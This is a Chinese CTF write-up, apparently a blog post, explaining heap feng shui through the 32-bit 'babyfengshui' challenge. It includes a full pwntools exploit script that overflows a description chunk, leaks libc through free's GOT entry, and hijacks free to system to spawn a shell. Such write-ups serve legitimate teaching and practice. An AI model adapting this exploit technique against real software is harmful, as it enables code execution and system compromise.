[pwn]堆:堆风水与堆排布-babyfengshui

[pwn]堆:堆风水与堆排布-babyfengshui

所谓堆风水也叫作堆排布,其实说严格了并不是一种漏洞的利用方法,而是一种灵活布置堆块来控制堆布局的方法,在一些一些其他漏洞的利用中起到效果。通过一道经典的题目,由清华蓝莲花战队出的babyfengshui来看一下:

babyfengshui

查看安全策略在这里插入图片描述

没开PIE,但值得一提的是这是一个32位的程序,32位的堆是4字节对齐的。

查看程序逻辑在这里插入图片描述

总共四个功能,比较简单,添加、删除显示和修改描述。

添加:
在这里插入图片描述

添加功能会申请两个堆块,一个堆块大小是输入的大小,用来存放description,另一个堆块大小是固定的0x80,用来存放指向description的指针和name,name长124,正好是0x80-4。也就是说结构如下:
在这里插入图片描述

接着删除和输出都没什么问题,问题出在update,值得一提的是,update description功能是修改user的description,而add功能中也调用了update函数来第一次输入description:
在这里插入图片描述

出问题是判断语句,判断内容是description的地址加上要修改(输入)的长度不能覆盖到存放name那个堆块处。也就是说你第一次输入的description或者修改的description的长度不能达到图中红线处:
在这里插入图片描述
看起来好像没啥问题,但不要因为这两个堆块是连续分配的,就先入为主的认为这两个堆块是连续的!

漏洞利用

试想一种情况,description的大小是我们能控制的,那么如果我们让description堆块大小位fastbins大小范围内,如0x20,连续申请两组,如下图:
在这里插入图片描述
在这里插入图片描述
这时释放user0:
在这里插入图片描述
那么这时候,我们申请一个user,但description长度我们选择0x80,那么就会出现description和name堆块之间并不连续,并且之间隔了两个堆块(一个user),而我们修改description可以一直溢出覆盖下两个堆块

那么利用方法就是:

  1. 通过这个溢出,修改下一个user中的description ptr,也就是指向description的指针,修改为free的got表(没开PIE)。
  2. 然后通过display功能,输出got表的值,泄露出libc地址
  3. 通过泄露的地址计算出system
  4. 修改description(其实是修改free的got表)为system
  5. 然后释放一个description值是/bin/sh的堆块,free已经被劫持为system,完成利用。

exp如下:

from pwn import *

context(arch='amd64', os='linux',log_level='debug')
context.terminal=['tmux','splitw','-h']
p = process(["/glibc/2.19/32/lib/ld-2.19.so","./babyfengshui"],env={"LD_PRELOAD":"/glibc/2.19/32/lib/libc-2.19.so"})
#gdb.attach(p)
libc = ELF("/glibc/2.19/32/lib/libc-2.19.so")
elf=ELF("./babyfengshui")

def add(deslen,txtlen,text):
    p.sendlineafter("Action: ",str(0))
    p.sendlineafter("size of description: ",str(deslen))
    p.sendlineafter("name: ",'breeze')
    p.sendlineafter("text length: ",str(txtlen))
    p.sendlineafter("text: ",text)

def delete(id):
    p.sendlineafter("Action: ",str(1))
    p.sendlineafter("index: ",str(id))

def Display(id):
    p.sendlineafter("Action: ",str(2))
    p.sendlineafter("index: ",str(id))

def update(id,txtlen,text):
    p.sendlineafter("Action: ",str(3))
    p.sendlineafter("index: ",str(id))
    p.sendlineafter("text length: ",str(txtlen))
    p.sendlineafter("text: ",text)

free_got=elf.got['free']
add(0x20,0x20,'a'*0x20) #0
add(0x20,0x20,'a'*0x20) #1
delete(0)
add(0x80,0xb8,'a'*0xb0+p32(free_got)) #2
add(0x80,0x8,'/bin/sh\x00') #3
Display(1)

p.recvuntil("description: ")
leak=u32(p.recv(4))
print "leak->"+hex(leak)
libc_base=leak-(0xf7d9dc30 -0xf7d28000)
print "libc_base->"+hex(libc_base)
system_addr=libc_base+libc.symbols['system']
update(1,4,p32(system_addr))
delete(3)
p.interactive()
raw_input()

成功:
在这里插入图片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章